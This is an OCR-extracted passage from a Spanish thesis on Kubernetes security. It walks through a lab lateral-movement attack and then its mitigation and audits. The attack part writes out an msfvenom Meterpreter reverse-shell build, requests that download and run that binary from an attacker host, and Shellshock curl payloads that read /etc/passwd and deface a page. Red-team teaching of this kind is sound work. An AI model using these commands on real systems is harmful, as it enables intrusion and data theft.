429, 4.2.10,4.2.13

Auditoria red team:
En este caso, kube-hunter proporcioné la siguiente informacion (ver Tabla 9 y Tabla 10):




Tabla 9. Escenario 1. Escaneo externo con kube-hunter (post-mitigacion).

Nodo Vulnerabilidades Detalles

Plano de 1 Sdlo se encontrd la vulnerabilidad KHV002 de tipo
control Information Disclosure con un impacto menor.
Nodo 0 No se encontraron vulnerabilidades.

worker

Tabla 10. Escenario 2. Escaneo interno con kube-hunter (post-mitigacion).

Nodo Vulnerabilidades Detalles

Este escaneo despliega un pod, el cual no se
programa en el plano de control por defecto.

Plano de 0
control *E . .
n una mas profunda, podria pensarse en
programarlo también en el plano de control.
Nodo Solo se reportaron las 3 vulnerabilidades de tipo
worker 3 Access Risk asociadas con el acceso a Secrets y

Service Accounts dentro del pod.

Auditoria de workloads:
N/A

Auditoria de red:
N/A

11.3.1.6. Andlisis de los resultados

Como se puede observar en la Figura 39, la puesta en practica de las medidas de seguridad
propuestas tuvieron el efecto esperado en la auditoria que realizaria un blue team.
Importante destacar que al ser los cambios en la configuracion del servicio kubelet, los
resultados en el nodo del plano de control se mantuvieron.

En el caso de la auditoria de red team, se observdé una drastica disminucién de las
vulnerabilidades una vez realizado el proceso de mitigacion (ver Figura 40). Basado en
estos resultados, se puede concluir que un kubelet mal configurado puede desencadenar en
diversos attack paths si no es corregido.
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Figura 39. Escenario 1. Impacto en la auditoria de blue team.

B # Information Disclosure (ID) [l # Remote Code Execution (RCE) [ # Access Risk (AR)

Master external (pre)

Master external
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Nodo external (post)
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Figura 40. Escenario 1. Impacto en la auditoria de red team.

Importante destacar que las medidas de remediacién y mitigacion tuvieron un efecto mas
pronunciado desde la perspectiva del atacante (red team). kube-bench detecté que los
controles asociados al kubelet no eran amenaza, pero el efecto en kube-hunter fue el de
una reduccion considerable de la superficie de ataque, lo cual es bastante deseable.



Un aspecto relevante a destacar referente a la auditoria de blue team, es que para el nodo
del plano de control no se observaron cambios. Las comprobaciones pendientes, al no estar
directamente relacionadas con el kubelet, serdn abordadas en escenarios posteriores.
Dichos controles (estado de FAIL y WARN) corresponden practicamente en su totalidad al
kube-apiserver. Los otros checks restantes se asocian a otros componentes como el etcd, el
kube-scheduler y el kube-controller-manager.

11.3.2. Desplazamiento lateral por baja seguridad en la red

11.3.2.1. Contexto y objetivos

Como se menciond anteriormente, en este escenario se tiene un cluster con una capa de
arquitectura configurada apropiadamente (es decir, etcd, kube-apiserver, kubelet, etc.), pero
con deficiencias en la capa de aplicacion. Por ello, este tipo de ataques se puede llevar a
cabo en cualquier cluster donde no se cuiden aspectos como la seguridad en los workloads
y la seguridad en la red.

Para llevar a cabo la fase de remediacién y mitigacién de nuestro protocolo, es necesario
desplegar un plugin CNI [79] que soporte las politicas de red; en nuestro caso Cilium [92].
Opcionalmente, se puede instalar Hubble [91] para permitir una mayor observabilidad de la
comunicacion de los servicios y la infraestructura de red de una manera transparente. A
continuacion las instrucciones de instalacion.

# creando el cluster de KinD

$ kind create cluster --name tfm-k8s --config
material-adjunto/attack-scenarios/@02-lateral-movement/cilium-enabled-con
fig.yaml

$ kubectl config set-context kind-tfm-k8s

# instalando Cilium para implantar politicas de red

$ kubectl create -f
https://raw.githubusercontent.com/cilium/cilium/v1.9/install/kubernetes/
quick-install.yaml

# OPCIONAL: instalar Cilium Hubble para observabilidad

$ kubectl apply -f
https://raw.githubusercontent.com/cilium/cilium/v1.9/install/kubernetes/
quick-hubble-install.yaml

Una vez creado el cluster e instalado Cilium (y Hubble si asi se desea), se despliegan los
servicios de la capa de aplicacién que seran utilizados para ganar acceso al cluster y luego
realizar el desplazamiento lateral y comunicacion con el exterior. Las instrucciones son las
siguientes.

# desplegar el workload con las aplicaciones vulnerables
$ cd material-adjunto/attack-scenarios/02-lateral-movement/deployment
$ kubectl apply -f lateral-movement-deployment-demo.yaml



Como se puede observar en la Figura 41, el workload desplegado esta constituido de varios
elementos fundamentales: una modificacién a la aplicacion Guestbook de PHP con Redis
[431], un servicio web vulnerable a Shellshock [432], [433] y un pod de NGINX [434] para
pruebas internas de seguridad de la red.

La aplicacién de Guestbook mencionada constituye el punto de acceso al cluster y para mas
detalles se puede consultar el manifiesto YAML y su imagen del frontend [435] utilizada en
este escenario. Los servicios de Redis en este ejemplo permanecieron intactos.

El servicio shellshockable (ver Figura 41) consta de una version del servidor web Apache
vulnerable a Shellshock, lo cual permite la ejecucién de comandos en el pod sin necesidad
de autenticacion y establecer comunicacion fuera del cluster desde este pod vulnerable.

default
redis

Pod vulnerable a Shellshock v
con acceso al exterior

redis

-

e Q-8 @ ©-+6379. WP

Pod para prueba de conectividad dentro
del cluster

guestbook —— P plicacién de Guestbook vulnerable

Figura 41. Servicios desplegados en el escenario 2 de desplazamiento lateral.

Reconocimiento y obteniendo acceso

El primer paso es realizar una inspeccién del cédigo fuente y probar estrategias comunes
para encontrar alguna vulnerabilidad en la aplicacion web [436]. Se puede observar que la
aplicacion estad implementada en Angular y el fichero controllers. js resulta interesante
para un atacante (ver Figura 42).

type="button" c

Figura 42. Inspecciéon de codigo de la aplicacion Guestbook.



Al inspeccionar en detalle el script controllers.js (ver Figura 43), se observa que la
variable value no es higienizada y por tanto, se es susceptible a una vulnerabilidad de tipo
RCE.

Por otro lado, si utilizamos herramientas de enumeracion web como OWASP DirBuster
[437], encontramos otra URL de interés /status.php (ver Figura 44) mediante la cual se
puede realizar la ejecucidon de comandos almacenados en Redis al realizar una peticion a la
URL /guestbook.php?cmd=set&key=command&value=<comando-a-ejecutar> (ver Figura

45 y Figura 46).

Page  File °m B ndex) controllers.js

= angular.module(

= N © localhost:

ERROR: No command to run - setting the Redis command key to curl http://status:56080/status -- please reload this page.

Figura 44. URL /status.php permite la ejecucién de comandos.

|{"message": "Updated"}l

Figura 45. Almacenamiento del comando a ejecutar en /guestbook.php.



= [ O localhost:

Hostname:
[frontend-d59b4f5df-87jm |—.|- tname de

e ha eje
Command:‘/

whoami
Command OW
www-data

Figura 46. Ejecucion del comando almacenado en /status.php.

La shell obtenida es a la vez sigilosa y tediosa de utilizar. Por ello, utilizaremos Metasploit
[438] para obtener una shell interactiva y mas facil de usar. Primeramente iniciamos una
consola de Metasploit [439] para escuchar conexiones entrantes de una shell reversa (ver
Figura 47). Luego usamos MSFvenom [440] para crear un binario de Linux de Meterpreter
[441] que se conectard con nuestra consola de Metasploit creada anteriormente (ver Figura
48).

+ - -
+ - -
+ - -

[

-=[ 2141 exploits - 1148 auxiliary - 365 post

-=[ 592 payloads - 45 encoders - 10 nops

-=[ & evasion

Metasploit tip: Save the current environment with the
command, future console restarts will use this

environment again

msfé > use exploit/multi/handler
Using confiqured payload generic/shell reverse tcp
msfé exploit( ) > set payload linux/x64/meterpreter/reverse tcp
vl ad => linux/x64/meterpreter/reverse tcp

msf6 Pr;plnitf } > set LHOST 192.168.1.124
= 192.168.1.124

} = run

Started reverse TCP handler on 192.168.1.124:4444

$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse tcp LHOST=192.168.1.124 LPORT=4444 -e x64/zutto_dekiru -o rshell -f elf

$ 11 | grep rshell
1 rvu akyl rvuhakvl 309 Jul 3 20:37

Figura 48. Creacion del binario de Meterpreter para la shell reversa.

Finalmente, mediante el moddulo http.server de Python 3.x [442], se desplegara y
ejecutara dicha shell reversa en el pod vulnerable mediante las siguientes instrucciones.

# descargar binario de la shell reversa en el pod vulnerable
GET http://localhost:8080/guestbook.php?cmd=set&key=command&value=curl



http://192.168.1.124:8888/rshell -o rshell
GET http://localhost:8080/status.php

# anadir permisos de ejecucidén al binario de la shell

GET http://localhost:8080/guestbook.php?cmd=set&key=command&value=chmod
755 rshell

GET http://localhost:8080/status.php

# ejecutar la shell
http://localhost:8080/guestbook.php?cmd=set&key=command&value=./rshell

GET http://localhost:8080/status.php

Una vez ejecutada la shell reversa, se recibe una conexion desde el pod vulnerado y
podemos ver que, en efecto, nuestras instrucciones han funcionado correctamente (ver
Figura 49). A continuacién levantamos una sesién de bash dentro del pod mediante
execute -f bash -i H para continuar con la etapa de explotacion.

Started reverse TCP handler on 192.168.1.124:4444
Sending stage (3012548 bytes) to 172.18.8.2
Meterpreter session 1 opened (192.168.1.124:4444 -> 172.18.0.2:54562) at 2821-87-03 20:54:29 +8200

meterpreter > 1s

Last modified Name
100644/ rw-r--r-- 393657 2821-87-02 14:14:1. FLAG. txt
l00644/rw-r--r-- 966 2021-07-02 14:14: controllers.js
100644/ rw-r--r-- 932 1 2021-87-02 14:14: guestbook.php
lee644/rw-r--r-- 921 1 2821-07-82
/rwxr-xr-x 369 i 2021-87-03
le0644/rw-r--r-- 772 2821-87-82

meterpreter > ||

Figura 49. Conexién exitosa de la shell reversa dentro del pod vulnerado.

Etapa de explotacion

Una vez dentro del pod victima, mediante la propia shell el atacante puede descargarse
herramientas para continuar con el proceso de explotacién. El atacante podria combinar
herramientas como dig y nmap (entre otras) para encontrar otros objetivos en la red del
cluster. Por estar fuera del a&mbito del trabajo, obviaremos los detalles de esta parte del
ataque y continuaremos el andlisis una vez encontrado el proximo objetivo.

En el escenario, se ha encontrado como préximo objetivo el servicio web vulnerable a
Shellshock [433]; un pod que expone el puerto 80 y que mediante la enumeracion web
expone el endpoint /cgi-bin/shockme.cgi (ver Figura 50).

curl vuln-bash-shellshockable/cgi-bin/shockme.cgi
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

168 25 188 25 a B 29908 B --i--f-- --f--i-- --i--1-- 3125
Regular, expected output

Figura 50. Acceso a servicio vulnerable a Shellshock.


http://localhost:8080/status.php
http://localhost:8080/status.php
http://localhost:8080/status.php

curl -A "() { :; }; echo \"Content-type: text/plain\"; echo; /bin/hostname" vuln-bash-shellshockable/cgi-bin/shockme.cgi
% Total celved ° : Ave rage eed e Time Time Current
Dload Upload To Spent Left Speed
168 42 106 42 2] 2] 215 B --t--i-- --i--i--f--io-i-- 215
vuln-bash-shellshockable-67c5649886-st8tc
curt -A *(} 1 :; T Pcho \ CoannT type: text/plain\"; echo; /bin/cat /etc/os-release" vuln-bash-shellshockable/cgi-bin/shockme.cg
% Total € AVETage : Time Time Current
IGED] Upluad Spent Left Sp
100 249 6} 249 8 5} 1637 9 --:--:-- i--:i-- --:--:-- 1638NAME="Ubuntu"
VERSION="14.84.6 LTS, Trusty Tahr"
ID=ubuntu

buntu 14.64.6 LTS"
.04"
http://wew.ubuntu. com/"
B i 1p.ubuntu. com/"
BUG_REPORT_URL /bugs.launchpad.net/ubuntu/"

curl -A () { i tent-type: text/plain echo; /usr/bin/whoami® wuln-bash-shellshockable/cgi-bin/shockme.cgi
ed ° a d  Time
Dload Upload Tota
59 BILLEEEEEE

Terminate channel 3?7 [y/N]
curl -A "() { :; }; echo \"Cont : text/plain\"; echo; /bin/cat /etc/passwd" wvuln-bash-shellshockable/cgi-bin/shockme.cgi
otal % Received % Xfe age eed Time Time Time
Dload Upload Total Spent
6 956 e 6 5479 Hook oot
oot:/root:/bin/bash
:daemon: fusr/sbin: /usr/sbin/nologin
bin:/usr/sbin/nologin
v:/usr/sbin/noloain

Figura 51. Reconocimiento y persistencia en pod vulnerable a Shellshock.

Dado que Kubernetes no restringe la comunicacion de red entre pods por defecto, el
atacante puede realizar un desplazamiento lateral (east-west) y obtener una shell en este
otro pod en nuestra arquitectura. Ahi, puede realizar nuevamente tareas de reconocimiento
y persistencia (ver Figura 51).

Finalmente, el atacante puede intentar determinar si es posible realizar un desplazamiento
vertical (north-south) verificando la comunicacion fuera del cluster desde este nuevo pod
con el propésito de realizar una exfiltracion de datos (ver Figura 52).

curl vuln-bash-shellshi lﬂfrvu akyl.html
% Total % Receive erd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
[¢] (‘] [¢] [¢] (‘] H @<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN">

ou have been pwned' > /var/www/html/ryuzakyl.html" vuln-bash-shellshockable/cgi-bin/shockme.cgi
age Speel Time Time Time Current
Dload Upload Total ent Left Speed

2] 4 BRCic ook H tegular, expected output

% Tufal % PﬂCﬂlvﬂd age Spee Time i Current
Total t t Speed
€You have been pwned
1250
/bin/ping -c 4 www.google.com" vuln-bash-shellshockable/cgi-bin/shockme.cgi
Time Current
Dlnad Uplnad Total ent Left Speed
330 2] 0 107 CHCH 107PING www.google.com (142.250.200.100) 56(84) bytes of data
from mad41s13-in-f4.1el@0.net 00.16 tt 4t .7 ms
from mad41s13- in- f t 5 8 Be) : tt - 8.2 ms
from mad4 . 8a) : tt : .7 ms
from mad41s13-in-f4.1100.net ©.100) : € : 0.6 ms

Figura 52. Desplazamiento vertical (north-south) desde el pod victima.

11.3.2.2. Impacto en MITRE ATT&CK®

En este escenario de ataque, el atacante ha sido capaz de afectar las siguientes areas de
MITRE ATT&CK®: Initial Access, Lateral Movement (tanto east-west como north-south) y
Execution (Eigura 53 en rojo). Al igual que en escenario anterior, se resaltan (Eigura 53 en



naranja) todas las posibilidades en las que el atacante pudiese continuar su ataque. Es

importante destacar que la superficie de ataque y cubrimiento de MITRE ATT&CK® es
mucho mayor que en el escenario anterior.

Initial Access Persistence Privilege Defense Credential Discovery Lateral Collection
Escalation Evasion Access movement

Using Cloud Exec into Backdoor Privileged containe: Clear container List K8S secrets  ACCESS the K8S Access cloud Images from a Esin e
credentials container container logs API Server resources private registry
Compromised

wiitable hostPath Cluster-admin Delete K8S Mount service Access Kubeici - Container service Resource

images in binding events principal API account Hijacking

registry

Kubeconfig file ~ New container [ hostPath mount  "od/container - Access con Denial of
Cronjob name similarity ~ service Service (DoS)
licious: icati icati
Anplicat :"= iciou Access cloud Connect from a Appllcauon; Access Applications
exploit (RCE) n —— proxy server credenu_als in Kubernetes credent\_als in
Controller configuration files Dashboard configuration files
Exposgd SSH server Access managed TETED ‘Writable volume
sensitive running inside ) 3 mounts on the
5 h identity credential ~ Metadata API
interfaces container host
Malicious
Sidecar injection Admission CO?SE[;:]S
Controller po g
ARP poisoning
and IP spoofing

Figura 53. Impacto del escenario 2 en MITRE ATT&CK®.

11.3.2.3. Auditoria pre-mitigacion

Auditoria blue team:
N/A

Auditoria red team:
N/A

Auditoria de workloads:

Para analizar la adherencia con buenas practicas de configuracién de workloads, usaremos
herramientas para determinar cualitativa y cuantitativamente el nivel de seguridad de la
configuracion: Polaris [190] y Checkov [148] respectivamente. Adicionalmente, se realizara
un escaneo de los contenedores orquestados mediante Trivy [144], cuyo propésito principal
es el de complementar el andlisis.

Primeramente, comenzaremos con un analisis cualitativo mediante el panel de Polaris. El
panel es una buena manera de comprender qué workloads no se ajustan a las buenas

practicas. Para desplegarlo (en este caso mediante kubectl), se ejecutan las siguientes
instrucciones.

# desplegando el dashboard de Polaris

$ kubectl apply -f \
https://github.com/fairwindsops/polaris/releases/latest/download/dashboa
rd.yaml

$ kubectl port-forward --namespace polaris svc/polaris-dashboard 8080:80

Polaris ofrece resultados tanto a nivel global, como separado por categorias relevantes
(eficiencia, fiabilidad y seguridad) de nuestro workload (ver Figura 54 y Figura 55). Con el

proposito de realizar comparaciones posteriores, dichos resultados se resumen en las
tablas Tabla 11 y Tabla 12 respectivamente.
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Figura 54. Evaluacion global de Polaris para el workload (pre-mitigacion).

Results by Category
b Efficiency Score: 56%
» Reliability Score: 55%

P Security Score: 64%

Figura 55. Evaluacion por categorias de Polaris para el workload (pre-mitigacién).

Tabla 11. Evaluacién global de Polaris para el workload (pre-mitigacién).

Calificacion Puntuacién Passing Warning Dangerous

D 64% 46 37 7

Tabla 12. Evaluacién por categorias de Polaris para el workload (pre-mitigacion).

Eficiencia Fiabilidad Seguridad

56% 55% 64%

Por otra parte, la herramienta Checkov realiza un analisis mas exhaustivo [443] arrojando
resultados de manera resumida en la Tabla 13. Un detalle a tener en cuenta es que las
mismas vulnerabilidades son detectadas en los distintos elementos del manifiesto del

workload (ver Tabla 14).

Tabla 13. Resumen de los controles de Checkov (pre-mitigacion).

Aprobados Fallidos Ighorados Puntuacién

364 87 0 76%

Tabla 14. Vulnerabilidades encontradas por Checkov (pre-mitigacion).

INFO LOW MEDIUM HIGH CRITICAL




Unicos 2 16 2 0 0

Total 10 67 10 0 0

Finalmente, resulta imprescindible realizar un analisis de vulnerabilidades complementario
de las dos imagenes orquestadas:

e ryuzakyl/guestbook-frontend-with-statusphp-vuln

e lizrice/shellshockable.
Para ello, utilizaremos la herramienta Trivy, un escaner de vulnerabilidades para imagenes y
otros artefactos. Un resumen de los resultados de un escaneo de Trivy para estas imagenes
se muestran en la Tabla 15 y la Tabla 16. Los resultados integros del escaneo de estas
imagenes con Trivy puede consultarse en los siguientes ficheros en los materiales adjuntos.

# escaneo para ryuzakyl/guestbook-frontend-with-statusphp-vuln:1.0.0
material-adjunto/attack-scenarios/02-lateral-movement/trivy/guestbook-fr
ontend-with-statusphp-vuln-pre.log

# escaneo para lizrice/shellshockable:0.1.0
material-adjunto/attack-scenarios/02-1lateral-movement/trivy/shellshockab
le-pre.log

Tabla 15. Escaneo de ryuzakyl/guestbook-frontend-with-statusphp-vuin:1.0.0.
Total UNKNOWN Low MEDIUM HIGH CRITICAL

1574 0 45 509 659 361

Tabla 16. Escaneo de lizrice/shellshockable:0.1.0.

Total UNKNOWN LOW MEDIUM HIGH CRITICAL

9 0 2 5 2 0

Para la imagen guestbook-frontend-with-statusphp-vuln:1.0.0, se encontraron una
cantidad considerable de vulnerabilidades en paquetes incluidos en la imagen base. Este
fendmeno ocurre debido al uso de una imagen base desactualizada de Debian 8.4. Para la
imagen shellshockable:0.1.0, todas las vulnerabilidades encontradas estan asociadas a
una versién desactualizada de bash, entre ellas Shellshock [444].

Auditoria de red:

En esta auditoria, illuminatio permite validar la conformidad y cumplimiento de las politicas
de red implantadas en el cluster con un conjunto de pruebas unitarias de trafico de red
aceptable definidas por el usuario. Dichas pruebas unitarias responden, ya sea a reglas del
negocio o0 a buenas practicas de seguridad en la red y pueden ser consultadas en el fichero
a continuacion.



# pruebas unitarias de trafico de red para el escenario 02
material-adjunto/attack-scenarios/02-lateral-movement/network-policies/i
lluminatio-network-connectivity-tests.yaml

Los casos de prueba que definen un cubrimiento minimal del trafico de red deseado a nivel
de logica de negocio y se listan a continuacion en la Tabla 17.

Tabla 17. Casos de prueba de trafico de red deseado en el escenario 2.

Desde (pod) Hasta (pod) Descripciéon
nginx shellshockable:80 El pod ‘shellshoc‘kaple: DEBE ser accesible
desde el pod de ‘nginx’.
frontend shellshockable:-g0 | E! Pod ‘shellshoc‘kable’ N? DEBE ser accesible
desde el pod de ‘frontend’.
redis-master shelishockable:-go | E' Ped ‘shellshoc’kab_le’ NO DI?BE ser accesible
desde el pod de 'redis-master’.
redis-slave shellshockable:-go | E' Ped ‘shellshoc’kab_le’ NO I?EBE ser accesible
desde el pod de 'redis-slave’.
El pod ‘shellshockable’ NO DEBE permitir
%
shelishockable tréfico saliente (excepto DNS).

Los resultados de ejecutar dichas pruebas unitarias sobre nuestro cluster muestran, como
es de esperar, que existe trafico no deseado que esta siendo permitido (ver Figura 56). Para
replicar los resultados antes mencionados, el comando a ejecutar es el siguiente.

# ejecutar el andlisis de cumplimiento con el trafico de red deseado

$ illuminatio clean && sleep 3 && illuminatio run --test-cases
material-adjunto/attack-scenarios/02-1lateral-movement/network-policies/i
1luminatio-network-connectivity-tests.yaml

ryuzakyl@matrix: $ illuminatio clean && sleep 3 && illuminatio run --test-cases
atio-network-connectivity-tests.yaml

Starting cleaning resources with policies ['on-request', 'always']

Finished cleanUp

Starting test generation and run.

Generated 5 cases in ©.2332 seconds

TO
_:app=nginx—test,tier=load—balance default:app=shellshockable
default:app=shellshockable
: : default:app=shellshockable
15,r019 masTPr default:app=shellshockable

: app—shPllshockablP default:app=shellshockable

Ensure that Pods of DaemonSet illuminatio-runner are ready

Finished running 5 tests in 7.1640 seconds
T0
default:app=shellshockable
default:app=shellshockable
default:app=shellshockable
G default:app=shellshockable
default: app—shPllshockablP default:app=shellshockable

Figura 56. Andlisis del trafico de red con illuminatio (pre-mitigacién).




11.3.2.4. Remediacion y Mitigacion

Al estar en presencia de un escenario complejo con mucha superficie de ataque, la cantidad
de medidas a aplicar aumenta respecto al escenario anterior. No obstante, las medidas y
controles que seran aplicados para remediar y/o mitigar las vulnerabilidades y amenazas
encontradas se pueden resumir en tres grupos (ver Capitulo 10):
e Proteccion ante los workloads vulnerables (KUBE_WRKL_04, KUBE_WRKL_05,
KUBE_WRKL_06, KUBE_WRKL_07, KUBE_WRKL_08).
o Utilizar herramientas de auditoria de configuracion de workloads para aplicar
buenas practicas.
e Proteccion ante trafico de red no deseado (KUBE_WRKL_04d, KUBE_WRKL_04e,
KUBE_WRKL_04f).
o Proteccion del trafico de red de norte-sur (0 ingress-egress) mediante las
politicas de red.
o Proteccion del trafico de red interno entre los pods (o este-oeste) mediante
las politicas de red.
o Deteccion de flujo de red anémalo [445].
o Bloqueo activo de IPs sospechosos [446].
e Proteccion a la cadena de suministro de software (KUBE_WRKL_08) [368].
o Usar imagenes scratch para dificultar el desplazamiento lateral.
o Mantener actualizadas las aplicaciones instaladas en las imagenes.
o Gestibn de la cadena de suministro de software con Binary Authorization
[153] o con Grafeas [154] y Kritis [155].
Respecto a los workloads, se realiz6 una inspeccion y posterior correccion del manifiesto
del workload vulnerable siguiendo las recomendaciones de Checkov. El manifiesto con las
correcciones puede ser desplegado y consultado como sigue.

# desplegar el workload con buenas practicas de configuracion

$ kubectl apply -f \
material-adjunto/attack-scenarios/02-1lateral-movement/deployment/lateral
-movement-deployment-demo-secured.yaml

Respecto a las politicas de red se recomienda aplicar una estrategia de red de confianza
cero. No obstante, debido a la gran superficie de ataque de este escenario, solo nos
centraremos en aplicar politicas de red para proteger el trafico interno y de salida de los
pods vulnerados. Las politicas de red aplicadas pueden consultarse a continuacion.

# politicas de red para Cilium como CNI
material-adjunto/attack-scenarios/02-1lateral-movement/network-policies/c
ilium-egress.yaml
material-adjunto/attack-scenarios/02-1lateral-movement/network-policies/c
ilium-13-14.yaml

# politicas de red genéricas validas para cualquier CNI
material-adjunto/attack-scenarios/02-lateral-movement/network-policies/g
eneric-egress.yaml



material-adjunto/attack-scenarios/@2-lateral-movement/network-policies/g
eneric-13-14.yaml

Finalmente respecto a la proteccion de la cadena de suministro de software, se utilizaron
versiones actualizadas de las imagenes orquestadas. En el caso de la imagen del servicio
de frontend de Guestbook se actualiz6 la imagen de la v1.0.0 - v2.0.0, implicando un salto
de la version de la imagen base Debian 8.4 — Debian 9.5.

En el caso del servicio shellshockable vulnerable, se actualizé la imagen de la v0.1.0 -
0.3.0, implicando actualizacién de bash y un mejor control de permisos y privilegios con los
gue se ejecutaba dicha imagen en Kubernetes.

11.3.2.5. Auditoria post-mitigacion

Las auditorias se realizaran utilizando exactamente del mismo modo que en la fase anterior
de pre-mitigacion. A continuacién se muestran los resultados.

Auditoria blue team:
N/A

Auditoria red team:
N/A

Auditoria de workloads:

En el caso de Polaris, los resultados de la auditoria para el manifiesto aplicando las buenas
practicas de seguridad para workloads muestran como todas las vulnerabilidades fueron
resueltas. Esto se puede observar tanto en la Figura 57 y Figura 58, como en las tablas

Tabla 18 y Tabla 19.
‘ 90

passing checks

| 0
o

Smoaoth sailing warning checks
Grade: A+ x 0
Score: 1009/0 dangerous checks

Score is the percentoge of passing checks. Warnings
get half the weight of dangerous checks.

Figura 57. Evaluacioén global de Polaris para el workload (post-mitigacién).

En el caso de Checkov, la superficie de ataque se redujo considerablemente (ver Tabla 20 y
Tabla 21) mediante la reduccion de la cantidad total de vulnerabilidades encontradas.
Finalmente, el escaneo de imagenes post-mitigacion con Trivy mostré una disminucion
considerable de las vulnerabilidades para la imagen del servicio de frontend (ver Tabla 22),
mientras que para la imagen del servicio shellshockable, todas las vulnerabilidades fueron
resueltas (ver Tabla 23).



Results by Category

P Efficiency Score: 100%

» Reliability Score: 100%

P Security Score: 100%

Figura 58. Evaluacion por categorias de Polaris para el workload (post-mitigacién).

Tabla 18. Evaluacion global de Polaris para el workload (post-mitigacion).

Calificacion

Puntuacion

Passing

Warning

Dangerous

A+

100%

90

0

0

Tabla 19. Evaluacion por categorias de Polaris para el workload (post-mitigacién).

Eficiencia

Fiabilidad

Seguridad

100%

100%

100%

Tabla 20. Resumen de los controles de Checkov (post-mitigacion).

Aprobados

Fallidos

Ignorados

Puntuacion

430

21

0

95%

Tabla 21. Vulnerabilidades encontradas por Checkov (post-mitigacion).

INFO LoOwW MEDIUM HIGH CRITICAL
Unicos 2 3 1 0 0
Total 6 11 4 0 0

Los resultados integros del escaneo de las imagenes post-mitigacién pueden consultarse en

los siguientes ficheros de logs en los materiales adjuntos.

# escaneo para ryuzakyl/guestbook-frontend-with-statusphp-vuln:2.0.0
material-adjunto/attack-scenarios/02-1lateral-movement/trivy/guestbook-fr
ontend-with-statusphp-vuln-post.log

# escaneo para lizrice/shellshockable:0.3.0
material-adjunto/attack-scenarios/02-1lateral-movement/trivy/shellshockab

le-post.log




Tabla 22. Escaneo de ryuzakyliguestbook-frontend-with-statusphp-vuln:2.0.0.

Total UNKNOWN LOW MEDIUM HIGH CRITICAL
1379 0 434 412 424 109
Tabla 23. Escaneo de lizrice/shellshockable:0.3.0.
Total UNKNOWN LOW MEDIUM HIGH CRITICAL
0 0 0 0 0 0

Auditoria de red:

Como se puede observar en la Figura 59, las politicas de red aplicadas contribuyeron con el
cumplimiento y la conformidad con el trafico deseado a nivel de l6gica de negocio, el cual
mejord notablemente.

ryuzakyl@matrix:
atio-network-connectivity-tests.yaml

$ illuminatio clean && sleep 3 && illuminatio run --test-cases

Starting cleaning resources with policies ['on-request', 'always']

Finished cleanUp

starting test generation and run.
Generated 5 cases in 0.4292 seconds

TO

default:
default:
default:
default:
default:

app=shellshockable
app=shellshockable
app=shellshockab

app=shellshockable
app=shellshockable

Ensure that Pods of DaemonSet illuminatio-runner are ready

Finished running 5 tests in 17.2935 seconds
TO

inx-test,tier=load-balance default:app=shellshockable

stbook, tier=frontend default:app=shellshockable

i default:app=shellshockable

t e default:app=shellshockable

t :app=shellshockable default:app=shellshockable

Figura 59. Andlisis del trafico de red con illuminatio (post-mitigacion).

11.3.2.6. Andlisis de los resultados

De manera general, las auditorias de workloads mostraron que las medidas propuestas son
la via correcta a seguir para proteger las aplicaciones que desplegamos en Kubernetes. En
la Figura 60, se puede observar el impacto positivo (cumplimiento al 100%) que tuvo tanto
en los indicadores cualitativos como en los cuantitativos medidos en la auditoria de Polaris.
De la misma forma, dicho impacto se puede observar también en la auditoria realizada con
Checkov (ver Figura 61), donde se redujo la cantidad de comprobaciones fallidas de manera
considerable. Se puede observar que la mayoria de las mejoras tuvieron lugar en el area de
controles de impacto LOW, INFO y MEDIUM.

Es importante notar que los controles especificados por Checkov fueron capaces de cubrir
todos los controles de Polaris, evidenciando que Checkov posee controles mas granulares
gue Polaris. Las *“vulnerabilidades” encontradas sin resolver, no se aplicaban a este
escenario en particular y por tanto no son posibles de remediar o mitigar.

Finalmente, en el caso de Trivy (ver Figura 62) se observa como ayudan las buenas
practicas de seguridad de imagenes para reducir la superficie de ataque. Las mejoras son



notables en dos areas fundamentales: la cantidad total de vulnerabilidades y la reduccion
considerable de vulnerabilidades de alta severidad (HIGH y CRITICAL).

B Pre-mitigacion [l Post-mitigacion

Passing
Warning
Dangerous
Eficiencia (%)
Fiabilidad (%)
Seguridad (%)
Puntuacién (%)
0 25 50 75 100

Figura 60. Impacto de las medidas propuestas en la auditoria de Polaris.

B Controles (Pre-mitigacion) [l Controles (Post-mitigacién)

Aprobados
Fallidos

Unicos (INFO) +
Unicos (LOW) 4
Unicos (MEDIUM) —
Unicos (HIGH)
Unicos (CRITICAL)

Total (INFO)
Total (LOW)
Total (MEDIUM)
Total (HIGH)
Total (CRITICAL)

0 100 200 300 400 500

Figura 61. Impacto de las medidas propuestas en la auditoria de Checkov.



En el caso de la auditoria de red, la aplicacion de las politicas de red mostré ser una medida
eficaz para controlar el trafico de red no deseado en tiempo de configuracion. Las pruebas
unitarias disefiadas mostraron un 100% de cumplimiento con el trafico de red definido a
nivel de negocio (5/5) ante un 20% (1/5) inicial (ver Tabla 24).

B Total
guestbook- 1574 B UNKNOWN
frontend (Pre-
mitigacion) W Low
B MEDIUM
guestbook- | 0 | 1379 B HiGH
frontend (Post- i CRITICAL
mitigacion)
9
shellshockable Q
(Pre-mitigacién) | 5
n
shellshockable ﬂ
(Post-mitigacién) | 0
0 500 1000 1500 2000

Figura 62. Impacto de las buenas practicas en la auditoria de Trivy.

Tabla 24. Efecto de las politicas de red sobre el trafico de red deseado.

Desde (pod) Hasta (pod) Pre-mitigacion Post-mitigacion
nginx shellshockable:80 success success
frontend shellshockable:-80 failed success
redis-master shellshockable:-80 failed success
redis-slave shellshockable:-80 failed success
shellshockable -* failed success

11.3.3. Explotando Service Accounts con exceso de privilegios

11.3.3.1. Contexto y objetivos

Al igual que en el escenario anterior, nuestro cluster cuenta con una capa de arquitectura
configurada apropiadamente, pero con deficiencias en la capa de aplicacién. En este caso,
las vulnerabilidades presentes en los workloads estan arraigadas en Service Accounts con
excesos de privilegios.

Como se menciond anteriormente, el ataque se basa en la explotacién de configuraciones
deficientes en el médulo de RBAC. Estas configuraciones deficientes (también llamados
“permisos de riesgo”) en el sistema de RBAC podrian permitir a un atacante realizar



acciones no deseadas como acceder a tokens, listar Secrets, escapar del pod (escalado de
privilegios hacia el nodo), etc.

La instalacion del cluster de KinD en este caso es simple y una vez creado, se despliegan
los servicios de la capa de aplicacion cuyos Deployments hacen uso de los Service
Accounts “de riesgo” antes mencionados. Las instrucciones son las siguientes.

# creando el cluster de KinD

$ kind create cluster --name tfm-k8s --config
material-adjunto/attack-scenarios/@3-exploiting-service-accounts/kind/se
